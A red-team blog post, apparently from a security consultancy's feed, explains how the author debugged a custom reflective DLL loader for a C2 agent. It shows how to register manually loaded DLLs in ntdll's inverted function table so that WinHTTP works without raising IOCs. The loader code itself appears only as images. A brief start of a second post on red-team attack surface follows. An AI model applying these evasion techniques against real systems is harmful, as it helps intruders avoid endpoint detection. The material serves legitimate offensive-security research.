<h3 style="text-align: justify;"><span style="color: #451dc7;">Problems with this implementation</span></h3>
<p>When I saw this implementation, I thought that all my problems were solved and started reimplementing it on my side to understand and customize the process.</p>
<p>For a moment it worked well. All the <em><span style="color: #451dc7;">DLL</span> </em>I loaded with worked out of the box and no specific event regarding the loading of an additional <em><span style="color: #451dc7;">DLL</span> </em>were raised by the agent.</p>
<p>The troubles begin when I tried to dynamically load a specific <em><span style="color: #451dc7;">DLL</span></em>: <span style="color: #451dc7;"><em>WinHTTP.dll.</em></span></p>
<p>The <span style="color: #451dc7;"><em>DLL</em> </span>is successfully loaded, and the majority of functions worked well, but one function did not want to work: <span style="color: #451dc7;"><em>WinHTTPOpen</em></span>.</p>
<p>This function is used to initialize the environment and prepare the structures that will be used by the other network <span style="color: #451dc7;"><em>API</em> </span>used to perform an <span style="color: #451dc7;"><em>HTTP</em> </span>connection. So, without this function, it was not possible to perform any <span style="color: #451dc7;"><em>HTTP</em> </span>communication through the <span style="color: #451dc7;"><em>WinHTTP API</em></span>.</p>
<p>When I called the <span style="color: #451dc7;"><em>WinHTTPOpen</em></span> function, the call failed with the error code <span style="color: #451dc7;"><em>126</em></span>. This error code is related to a missing <span style="color: #451dc7;"><em>DLL</em> </span>which does not make any sense as all the <span style="color: #451dc7;"><em>DLL</em> </span>were successfully loaded.</p>
<p> </p>
<h2 style="text-align: justify;"><span style="color: #451dc7;">Dive into WinHTTP.DLL madness</span></h2>
<h3 style="text-align: justify;"><span style="color: #451dc7;">Macroscopic investigation</span></h3>
<p>The error code hinted a problem with a <span style="color: #451dc7;"><em>DLL</em> </span>that has not been loaded, so my first reflex was to monitor the process using <span style="color: #451dc7;"><em>Procmon</em></span>, looking for an imported <span style="color: #451dc7;"><em>DLL</em> </span>that could have failed to be loaded.</p>
<p>However, even when comparing the <em><span style="color: #451dc7;">DLL</span> </em>loaded with the standard <span style="color: #451dc7;"><em>LoadLibrary</em> </span>and the ones loaded through the custom loader, no differences could explain the error code <span style="color: #451dc7;"><em>126</em></span>.</p>
<p> </p>
<h3 style="text-align: justify;"><span style="color: #451dc7;">Microscopic investigation</span></h3>
<p>For a moment I let this problem aside and continue the development of the agent, but it still bothered me, and I had no idea how I could debug it. Until one day, I took my sanity away, and decided to just decompile the <em><span style="color: #451dc7;">WinHTTP.DLL</span></em> and debug it step by step until I saw the error code <em><span style="color: #451dc7;">126</span> </em>popping in one of the registers.</p>
<p> </p>
<h4 style="text-align: justify;"><span style="color: #451dc7;">Finding the initial problem</span></h4>
<p>With the step by step debug, I quickly found that the problem occurred in the <em><span style="color: #451dc7;">INTERNET_SESSION_HANDLE_OBJECT::SetProxySettings</span></em> function in the <em><span style="color: #451dc7;">WINHTTP.DLL</span></em> file.</p>
<p>Following the call stack leads me to the following functions:</p>
<ul>
<li><em><span style="color: #451dc7;">INTERNET_HANDLE_BASE::SetProxySettingsWithInterfaceIndex</span></em></li>
<li><em><span style="color: #451dc7;">WxReferenceDll</span></em></li>
<li><em><span style="color: #451dc7;">TakeSingleDllRef</span></em></li>
</ul>
<p>In the <span style="color: #451dc7;"><em>TakeSingleDllRef</em> </span>I found the following piece of code:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24352" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/02-Code-TakeSingleDllRef.png" alt="" width="433" height="233" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/02-Code-TakeSingleDllRef.png 433w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/02-Code-TakeSingleDllRef-355x191.png 355w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/02-Code-TakeSingleDllRef-71x39.png 71w" sizes="auto, (max-width: 433px) 100vw, 433px" /></p>
<p style="text-align: center;"><em>Figure 2: TakeSingleDllRef code</em></p>
<p>The <span style="color: #451dc7;"><em>126</em> </span>error code I got when running the <span style="color: #451dc7;"><em>WinHTTPOpen</em> </span>function is generated by the <span style="color: #451dc7;"><em>GetModuleHandleExA</em> </span>function.</p>
<p>This function is usually used to retrieve the base address of an already loaded <span style="color: #451dc7;"><em>DLL</em> </span>by its <span style="color: #451dc7;"><em>DLL</em> </span>name. However, here, two unusual parameters are given to this API:</p>
<ul>
<li><span style="color: #451dc7;"><em>dwFlags</em></span>: <span style="color: #451dc7;"><em>4</em> </span>instead of <span style="color: #451dc7;"><em>2</em></span></li>
<li><span style="color: #451dc7;"><em>dllName</em></span>: the address of the current function instead of the name of the <span style="color: #451dc7;"><em>DLL</em> </span>to search for.</li>
</ul>
<p>Looking at the <span style="color: #451dc7;"><em>Microsoft</em> </span>documentation shows that <em><span style="color: #451dc7;">dwFlags 4</span></em> is named <span style="color: #451dc7;"><em>GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS</em> </span>and thus explains why an address is given instead of a <span style="color: #451dc7;"><em>DLL</em> </span>name.</p>
<p>Indeed, when this flag is passed to the <span style="color: #451dc7;"><em>GetModuleHandleExA</em></span>, the function will not search for the <span style="color: #451dc7;"><em>DLL</em> </span>base address by its name but will find the <span style="color: #451dc7;"><em>DLL</em> </span>that contains the given function.</p>
<p> </p>
<h4 style="text-align: justify;"><span style="color: #451dc7;">Narrow down the problem</span></h4>
<p>The problem comes from the <span style="color: #451dc7;"><em>GetModuleHandleExA</em> </span>function. This is interesting because during my tests the custom loader worked fine with <span style="color: #451dc7;"><em>GetModuleHandle</em> </span>(that call <span style="color: #451dc7;"><em>GetModuleHandleEx</em> </span>under the hood with <em><span style="color: #451dc7;">dwFlags 2</span></em> instead of <span style="color: #451dc7;"><em>4</em></span>).</p>
<p>So, I decompiled the <span style="color: #451dc7;"><em>KERNELBASE.DLL</em></span> to find the difference of implementation when <span style="color: #451dc7;"><em>dwFlags 4</em></span> is passed to <span style="color: #451dc7;"><em>GetModuleHandleEx</em></span>.</p>
<p>The callstack shows that <span style="color: #451dc7;"><em>GetModuleHandleEx</em> </span>called the <span style="color: #451dc7;"><em>BasepGetModuleHandleExW</em> </span>function.</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24354" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/03-BasepGetModuleHandleExW.png" alt="" width="354" height="257" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/03-BasepGetModuleHandleExW.png 354w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/03-BasepGetModuleHandleExW-263x191.png 263w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/03-BasepGetModuleHandleExW-54x39.png 54w" sizes="auto, (max-width: 354px) 100vw, 354px" /></p>
<p style="text-align: center;"><em>Figure 3: BasepGetModuleHandleExW code</em></p>
<p>The first part of the <span style="color: #451dc7;"><em>BasepGetModuleHandleExW</em> </span>function explains the difference of behavior between <span style="color: #451dc7;"><em>GetModuleHandle</em> </span>and <span style="color: #451dc7;"><em>GetModuleHandleEx</em> </span>with <span style="color: #451dc7;"><em>dwFlags</em></span> set to <span style="color: #451dc7;"><em>4</em></span>.</p>
<p>When the <span style="color: #451dc7;"><em>dwFlags</em></span> is set to <span style="color: #451dc7;"><em>4</em></span>, the function uses the <span style="color: #451dc7;"><em>RtlPcToFileHeader</em> </span>to find the base address of the module related to the function passed as parameters.</p>
<p>A step-by-step debug shows that this function returns the right value for a <span style="color: #451dc7;"><em>DLL</em> </span>loaded with <span style="color: #451dc7;"><em>LoadLibrary</em> </span>but always return <span style="color: #451dc7;"><em>0</em> </span>for a <span style="color: #451dc7;"><em>DLL</em> </span>loaded with the custom <span style="color: #451dc7;"><em>DLL Loader</em></span>.</p>
<p> </p>
<h4 style="text-align: justify;"><span style="color: #451dc7;">Analysis of RtlPcToFileHeader</span></h4>
<p>If I had to implement a function that, given a specific address, returns the base address of the image containing the function, I would naturally use the <span style="color: #451dc7;"><em>Win32Api VirtualQuery</em></span>. So, I did not see why this function could fail.</p>
<p>The <span style="color: #451dc7;"><em>RtlPcToFileHeader</em> </span>indeed use <span style="color: #451dc7;"><em>VirtualQuery</em> </span>to get the base address:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24356" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/04-VirtualQuery-in-RtlPcToFileHeader.png" alt="" width="469" height="204" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/04-VirtualQuery-in-RtlPcToFileHeader.png 469w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/04-VirtualQuery-in-RtlPcToFileHeader-437x191.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/04-VirtualQuery-in-RtlPcToFileHeader-71x31.png 71w" sizes="auto, (max-width: 469px) 100vw, 469px" /></p>
<p style="text-align: center;"><em>Figure 4: use of VirtualQuery inRtlPcToFileHeader</em></p>
<p style="text-align: justify;">However, before getting in this execution branch it performs some additional tests :</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24358" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/05-Tests-in-RtlPcToFileHeader.png" alt="" width="517" height="299" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/05-Tests-in-RtlPcToFileHeader.png 517w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/05-Tests-in-RtlPcToFileHeader-330x191.png 330w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/05-Tests-in-RtlPcToFileHeader-67x39.png 67w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/05-Tests-in-RtlPcToFileHeader-120x70.png 120w" sizes="auto, (max-width: 517px) 100vw, 517px" /></p>
<p style="text-align: center;"><em>Figure 5: Tests performed in RtlPcToFileHeader</em></p>
<p>If the execution flow goes into the <em><span style="color: #451dc7;">if(!v10)</span></em>, the function will return <span style="color: #451dc7;"><em>0</em></span>, otherwise, it has a chance to go through the <span style="color: #451dc7;"><em>VirtualQuery</em> </span>and returns the right base address.</p>
<p>When this function is used on a <span style="color: #451dc7;"><em>DLL</em> </span>loaded by the custom loader, it always falls in the wrong code path returning <span style="color: #451dc7;"><em>0</em></span>.</p>
<p> </p>
<h4 style="text-align: justify;"><span style="color: #451dc7;">LdrpInvertedFunctionTable</span></h4>
<p>The test performed by the <span style="color: #451dc7;"><em>RtlPcToFileHeader</em> </span>function is based on an analysis of the <span style="color: #451dc7;"><em>LdrpInvertedFunctionTable</em></span>.</p>
<p>This table that can be parsed using the two following structures,</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24360" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/06-Parse-inverted-table.png" alt="" width="509" height="265" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/06-Parse-inverted-table.png 509w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/06-Parse-inverted-table-367x191.png 367w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/06-Parse-inverted-table-71x37.png 71w" sizes="auto, (max-width: 509px) 100vw, 509px" /></p>
<p style="text-align: center;"><em>Figure 6: Structure used to parse the inverted table</em></p>
<p>seems to be used to handle <span style="color: #451dc7;"><em>SEH</em> </span>exceptions.</p>
<p>So, it seems that the custom loader fails to register these exceptions. Indeed, using <span style="color: #451dc7;"><em>WinDBG</em> </span>with the <em><span style="color: #451dc7;">DLL</span> </em>loaded through <span style="color: #451dc7;"><em>LoadLibrary</em></span>, it is possible to see that an entry corresponding to the<em><span style="color: #451dc7;"> WINHTTP.DLL</span> </em>file has been registered:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24362" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/07-WinDBG-analysis.png" alt="" width="599" height="108" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/07-WinDBG-analysis.png 599w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/07-WinDBG-analysis-437x79.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/07-WinDBG-analysis-71x13.png 71w" sizes="auto, (max-width: 599px) 100vw, 599px" /></p>
<p style="text-align: center;"><em>Figure 7: Analysis of the inverted table with WinDBG</em></p>
<p>The same test with the custom loaded <span style="color: #451dc7;"><em>DLL</em> </span>shows that no new entry were added to the <span style="color: #451dc7;"><em>LdrpInvertedFunctionTable</em></span>.</p>
<p> </p>
<h2 style="text-align: justify;"><span style="color: #451dc7;">Solutions</span></h2>
<h3 style="text-align: justify;"><span style="color: #451dc7;">The messy one</span></h3>
<p>The root cause of the problem is that when loading the <span style="color: #451dc7;"><em>DLL</em></span>, no additional entries are added to the <span style="color: #451dc7;"><em>LdrpInvertedFunctionTable</em> </span>leading to a hard failure on the <span style="color: #451dc7;"><em>RtlPcToFileHeader</em> </span>function.</p>
<p>However, the main cause of the problem is that <span style="color: #451dc7;"><em>GetModuleHandleEx</em> </span>uses <span style="color: #451dc7;"><em>RtlPcToFileHeader</em></span>.</p>
<p>While adding a new entry to the <span style="color: #451dc7;"><em>LdrpInvertedFunctionTable</em> </span>can be a hard problem, hijacking the <span style="color: #451dc7;"><em>GetModuleHandleEx</em> </span>function when loading the <span style="color: #451dc7;"><em>DLL</em> </span>is an easy one.</p>
<p>Indeed, during the <span style="color: #451dc7;"><em>DLL</em> </span>loading process, we have to manually resolve the exported function address, so it is possible to hijack the entry related to <span style="color: #451dc7;"><em>GetModuleHandleExA</em></span>.</p>
<p>The following code can be used instead of <span style="color: #451dc7;"><em>GetModuleHandleExA</em></span>:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24364" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/08-Custom-GetModuleHandleExA.png" alt="" width="605" height="358" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/08-Custom-GetModuleHandleExA.png 605w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/08-Custom-GetModuleHandleExA-323x191.png 323w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/08-Custom-GetModuleHandleExA-66x39.png 66w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/08-Custom-GetModuleHandleExA-120x70.png 120w" sizes="auto, (max-width: 605px) 100vw, 605px" /></p>
<p style="text-align: center;"><em>Figure 8: custom GetModuleHandleExA code</em></p>
<p>This code iterates over the <span style="color: #451dc7;"><em>DLL</em> </span>registered in the <span style="color: #451dc7;"><em>PEB</em> </span>linked list, check if the given function is located in the <span style="color: #451dc7;"><em>DLL</em> </span>and returns the base address of the related <span style="color: #451dc7;"><em>DLL</em></span>.</p>
<p>This solution worked for the <span style="color: #451dc7;"><em>WinHTTP.DLL</em></span> but what about other use cases or other functions based on <span style="color: #451dc7;"><em>RtlPcToFileHeader</em></span>? We would have to remap them explicitly every time which is not the best way to operate.</p>
<p> </p>
<h3 style="text-align: justify;"><span style="color: #451dc7;">The elegant one</span></h3>
<p>When two things have to work well together, we have to comply with the rules of the part we are integrating to. In this case, the custom loader should implement the feature that adds the different entries in the <span style="color: #451dc7;"><em>LdrpInvertedFunctionTable</em></span>.</p>
<p> </p>
<h4 style="text-align: justify;"><span style="color: #451dc7;">Locate the use of RtlInsertInvertedFunctionTable</span></h4>
<p>The function <span style="color: #451dc7;"><em>RtlInsertInvertedFunctionTable</em> </span>can be used to add an entry in the <span style="color: #451dc7;"><em>LdrpInvertedFunctionTable</em></span>. So, if this is performed by the <span style="color: #451dc7;"><em>Windows DLL</em></span> loader, it should be possible to find a reference of this function in the <span style="color: #451dc7;"><em>LoadLibrary</em></span> callstack.</p>
<p>Indeed, the call to the <span style="color: #451dc7;"><em>RtlInsertInvertedFunctionTable</em> </span>is found in the <span style="color: #451dc7;"><em>LdrpProcessMappedModule</em> </span>function:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24366" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/09-RtlInsertInvertedFunctionTable.png" alt="" width="609" height="127" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/09-RtlInsertInvertedFunctionTable.png 609w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/09-RtlInsertInvertedFunctionTable-437x91.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/09-RtlInsertInvertedFunctionTable-71x15.png 71w" sizes="auto, (max-width: 609px) 100vw, 609px" /></p>
<p style="text-align: center;"><em>Figure 9: use of RtlInsertInvertedFunctionTable during DLL loading</em></p>
<p style="text-align: justify;">This function is called with a security cookie generated using the <span style="color: #451dc7;"><em>LdrInitSecurityCookie</em> </span>function:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24368" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/10-LdrInitSecurityCookie.png" alt="" width="442" height="124" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/10-LdrInitSecurityCookie.png 442w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/10-LdrInitSecurityCookie-437x123.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/10-LdrInitSecurityCookie-71x20.png 71w" sizes="auto, (max-width: 442px) 100vw, 442px" /></p>
<p style="text-align: center;"><em>Figure 10: Use of LdrInitSecurityCookie</em></p>
<p>While the <span style="color: #451dc7;"><em>LdrInitSecurityCookie</em> </span>is an exported function, the <em><span style="color: #451dc7;">RtlInsertInvertedFunctionTable</span> </em>is not. So, if we want to use this function, there are two choices:</p>
<ul>
<li>Using a pattern recognition algorithm to find the function in the NTDLL knowing that the pattern can change between each Windows build version (this technique has been implemented <em>here</em><a href="#_ftn6" name="_ftnref6">[6]</a>)</li>
<li>Redeveloping the function</li>
</ul>
<p>I’m not a fan of pattern recognition because it is an unreliable technique that must be maintained over each Windows build version.</p>
<p style="text-align: justify;"> </p>
<h4 style="text-align: justify;"><span style="color: #451dc7;">Analysis of the RtlInsertInvertedFunctionTable function</span></h4>
<p style="text-align: justify;">Decompiling the <em><span style="color: #451dc7;">RtlInsertInvertedFunctionTable</span> </em>shows the following code :</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24370" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/11-RtlInsertInvertedFunctionTable.png" alt="" width="471" height="204" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/11-RtlInsertInvertedFunctionTable.png 471w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/11-RtlInsertInvertedFunctionTable-437x189.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/11-RtlInsertInvertedFunctionTable-71x31.png 71w" sizes="auto, (max-width: 471px) 100vw, 471px" /></p>
<p style="text-align: center;"><em>Figure 11: RtlInsertInvertedFunctionTable function</em></p>
<p>Among these functions, the only ones exported are the <span style="color: #451dc7;"><em>RtlAcquireSRWLockExclusive</em> </span>and <span style="color: #451dc7;"><em>RtlReleaseSrwLockExclusive</em></span>. However, the other ones are quite simple to implement:</p>
<ul>
<li><span style="color: #451dc7;"><em>RtlCaptureImageExceptionValues</em> </span>retrieves the image <span style="color: #451dc7;"><em>ExportDirectory</em></span></li>
<li><span style="color: #451dc7;"><em>LdrProtectMrData</em> </span>performs a <span style="color: #451dc7;"><em>VirtualProtect</em></span> on the <span style="color: #451dc7;"><em>.mrdata</em></span> section</li>
<li><span style="color: #451dc7;"><em>RtlpInsertInvertedFunctionTableEntry</em> </span>populates the <span style="color: #451dc7;"><em>RTL_INVERTED_FUNCTION_TABLE_ENTRY</em></span> and adds the new element to the <span style="color: #451dc7;"><em>RTL_INVERTED_FUNCTION_TABLE LdrpInvertedFunctionTable</em></span>.</li>
</ul>
<p>The only problem now is there is not any exported function that allows the retrieval of the <span style="color: #451dc7;"><em>LdrpInvertedFunctionTable</em> </span>object.</p>
<p> </p>
<h4 style="text-align: justify;"><span style="color: #451dc7;">Locate the RtlInsertInvertedFunctionTable</span></h4>
<p>So, against all my principle, some pattern recognition algorithms need to be coded in order to locate the <span style="color: #451dc7;"><em>LdrpInvertedFunctionTable</em> </span>structure. However, finding this structure will be easier and more reliable than finding some instructions sequences in the whole <span style="color: #451dc7;"><em>NTDLL .text</em></span> section.</p>
<p>Indeed, there are some inputs that can be used to narrow down the lookup and avoid false positive:</p>
<ul>
<li>The structure is located in the <span style="color: #451dc7;"><em>.mrdata</em></span></li>
<li>The <span style="color: #451dc7;"><em>MaxCount</em> </span>field must be less than <span style="color: #451dc7;"><em>512</em></span></li>
<li>The <span style="color: #451dc7;"><em>Count</em> </span>field must be less than max count and more than <span style="color: #451dc7;"><em>0</em></span></li>
</ul>
<p><code>The <span style="color: #451dc7;"><em>LdrpInvertedFunctionTable</em> </span>is located in the <span style="color: #451dc7;"><em>NTDLL .mrdata</em></span>. This section is a specific section that is configured with <span style="color: #451dc7;"><em>ReadOnly</em> </span>protection as the <span style="color: #451dc7;"><em>.rdata</em></span>. However, this section protection is often changed from <span style="color: #451dc7;"><em>ReadOnly</em> </span>to <span style="color: #451dc7;"><em>ReadWrite</em></span>.</code></p>
<p><code>This section is used to store sensitive structure that can be modified by the <span style="color: #451dc7;"><em>OS</em> </span>under specific circumstances (enhance the <span style="color: #451dc7;"><em>ReadWrite</em> </span>protection) but must be protected against programmatic error that could write arbitrary data in it (enhance the <span style="color: #451dc7;"><em>ReadOnly</em> </span>protection at runtime).</code></p>
<p>Then, some conditions on the different entries can be verified to ensure that the address tested represents the <span style="color: #451dc7;"><em>LdrpInvertedFunctionTable</em> </span>and is not a false positive. For each entry:</p>
<ul>
<li>The exception directory address must be contained in the <span style="color: #451dc7;"><em>DLL</em> </span>image</li>
<li>The exception directory address must match with the one computed from the <span style="color: #451dc7;"><em>DLL</em> </span>base image</li>
<li>The exception directory size must match with the one computed from the <span style="color: #451dc7;"><em>DLL</em> </span>base image</li>
</ul>
<p>These conditions do not ensure the unicity of the solution, but I don’t think random garbage in memory could verify all these conditions, especially the last three.</p>
<p style="text-align: justify;">The following function can be used to locate the <span style="color: #451dc7;"><em>LdrpInvertedFunctionTable</em></span>:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24372" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/12-LdrpInvertedFunctionTable-Search.png" alt="" width="605" height="700" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/12-LdrpInvertedFunctionTable-Search.png 605w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/12-LdrpInvertedFunctionTable-Search-165x191.png 165w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/12-LdrpInvertedFunctionTable-Search-34x39.png 34w" sizes="auto, (max-width: 605px) 100vw, 605px" /></p>
<p style="text-align: center;"><em>Figure 12: Code looking for LdrpInvertedFunctionTable</em></p>
<p style="text-align: justify;">We now have everything we need to implement the <em><span style="color: #451dc7;">RtlInsertInvertedFunctionTable</span></em>.</p>
<p> </p>
<h4 style="text-align: justify;"><span style="color: #451dc7;">Implement the RtlInsertInvertedFunctionTable</span></h4>
<p>The <span style="color: #451dc7;"><em>RtlInsertInvertedFunctionTable</em> </span>can be implemented as the following:</p>
<ul>
<li>Locate the <span style="color: #451dc7;"><em>LdrpInvertedFunctionTable</em> </span>as explained before</li>
<li>Unprotect the <span style="color: #451dc7;"><em>.mrdata</em></span> section from <span style="color: #451dc7;"><em>ReadOnly</em> </span>to <span style="color: #451dc7;"><em>ReadWrite</em> </span>using <span style="color: #451dc7;"><em>VirtualProtect</em></span></li>
<li>Locate the index where the new <span style="color: #451dc7;"><em>DLL</em> </span>entry must be stored (these entries are sorted by image base address)</li>
<li>Write the <span style="color: #451dc7;"><em>RTL_INVERTED_FUNCTION_TABLE_ENTRY</em> </span>element in the <span style="color: #451dc7;"><em>LdrpInvertedFunctionTable</em></span></li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24374" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/13-RtlpInsertInvertedFunctionTableEntry-Implementation.png" alt="" width="605" height="659" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/13-RtlpInsertInvertedFunctionTableEntry-Implementation.png 605w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/13-RtlpInsertInvertedFunctionTableEntry-Implementation-175x191.png 175w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/13-RtlpInsertInvertedFunctionTableEntry-Implementation-36x39.png 36w" sizes="auto, (max-width: 605px) 100vw, 605px" /></p>
<p style="text-align: center;"><em>Figure 13:  RtlpInsertInvertedFunctionTableEntry implementation</em></p>
<p>This code can be added to the <em>DarkLoadLibrary</em><a href="#_ftn7" name="_ftnref7">[7]</a> project to get a fully functional <em><span style="color: #451dc7;">DLL</span> </em>Loader.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;"><span style="color: #451dc7;">Conclusion</span></h2>
<p>When developing a custom <span style="color: #451dc7;"><em>C2</em></span>, the most difficult part is not getting something functional. This is mainly basic development. The most difficult and interesting part is to get something <em><span style="color: #451dc7;">OPSEC</span></em>.</p>
<p>This part implies a deep understanding of Windows internals in order to understand what <em><span style="color: #451dc7;">IOC</span> </em>will be raised, how it can be bypassed and how this custom part can be adapted to be fully integrated with the native <span style="color: #451dc7;"><em>Windows</em> </span>ecosystem.</p>
<p>This blogpost does not only show how a specific part of the <em><span style="color: #451dc7;">Windows DLL</span></em> loader can be reimplemented, but how <span style="color: #451dc7;"><em>IOC</em> </span>can be hunted, and how the <span style="color: #451dc7;"><em>Windows</em> </span>internals can be reversed to adapt our work to the ecosystem.</p>
<p> </p>
<p><a href="#_ftnref1" name="_ftn1">[1]</a> <a href="https://otterhacker.github.io/Malware/Reflective DLL injection.html" data-wplink-url-error="true">https://otterhacker.github.io/Malware/Reflective DLL injection.html</a></p>
<p><a href="#_ftnref2" name="_ftn2">[2]</a> <a href="https://posts.specterops.io/perfect-loader-implementations-7d785f4e1fa">https://posts.specterops.io/perfect-loader-implementations-7d785f4e1fa</a></p>
<p><a href="#_ftnref3" name="_ftn3">[3]</a> <a href="https://otterhacker.github.io/Malware/Reflective DLL injection.html" data-wplink-url-error="true">https://otterhacker.github.io/Malware/Reflective DLL injection.html</a></p>
<p><a href="#_ftnref4" name="_ftn4">[4]</a> <a href="https://twitter.com/_batsec_">https://twitter.com/_batsec_</a></p>
<p><a href="#_ftnref5" name="_ftn5">[5]</a> <a href="https://www.mdsec.co.uk/2021/06/bypassing-image-load-kernel-callbacks/">https://www.mdsec.co.uk/2021/06/bypassing-image-load-kernel-callbacks/</a></p>
<p><a href="#_ftnref6" name="_ftn6">[6]</a> <a href="https://github.com/strivexjun/MemoryModulePP/blob/master/MemoryModulePP.c">https://github.com/strivexjun/MemoryModulePP/blob/master/MemoryModulePP.c</a></p>
<p><a href="#_ftnref7" name="_ftn7">[7]</a> <a href="https://github.com/bats3c/DarkLoadLibrary">https://github.com/bats3c/DarkLoadLibrary</a></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2024/10/loadlibrary-madness-dynamically-load-winhttp-dll/">LoadLibrary madness: dynamically load WinHTTP.dll</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2024/10/loadlibrary-madness-dynamically-load-winhttp-dll/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>DataScience for RedTeam: Extend your attack surface</title>
		<link>https://www.riskinsight-wavestone.com/en/2024/07/datascience-for-redteam-extend-your-attack-surface/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2024/07/datascience-for-redteam-extend-your-attack-surface/#respond</comments>
		
		<dc:creator><![CDATA[Yoann DEQUEKER]]></dc:creator>
		<pubDate>Thu, 25 Jul 2024 13:19:45 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[DataScience]]></category>
		<category><![CDATA[RedTeam]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=23640</guid>

					<description><![CDATA[<p>1. Overview In an information system, applications are not equal. Some of them can be used as an entry point in the information system, others are used as compromise accelerators, and some are saved for post-exploitation. These applications are called...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2024/07/datascience-for-redteam-extend-your-attack-surface/">DataScience for RedTeam: Extend your attack surface</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h1><span style="color: #451dc7;">1. Overview</span></h1>
<p>In an information system, applications are not equal. Some of them can be used as an entry point in the information system, <span style="color: #451dc7;"><strong>others are used as compromise accelerators</strong></span>, and some are saved for post-exploitation. These applications are called high-value targets.</p>
<p>For example, during a standard attack, the in-house developed web application will be targeted first as they offer an important attack surface and often allow remote code execution on a domain join servers. The <span style="color: #250f6b;"><em>CICD</em></span> infrastructures are exploited to easily rebound on the internal network through the infection of <span style="color: #250f6b;"><em>CICD</em></span> pipeline or the discovery of additional secrets. The <span style="color: #250f6b;"><em>ADCS</em></span> is highly leveraged to speed up the domain compromise through the set of <span style="color: #250f6b;"><em>ESCXX</em></span> vulnerabilities.</p>
<p><span style="color: #451dc7;"><strong>The typology of applications in each category has quietly been the same for several years </strong></span>even if some new challengers have appeared over the years such as the <span style="color: #250f6b;"><em>SCCM</em> </span>application, the <span style="color: #250f6b;"><em>EDR</em> </span>console, etc. But because the same techniques are used for several years now, <span style="color: #451dc7;"><strong>companies started securing these elements making their compromise and exploitation more difficult</strong></span><em>. </em></p>
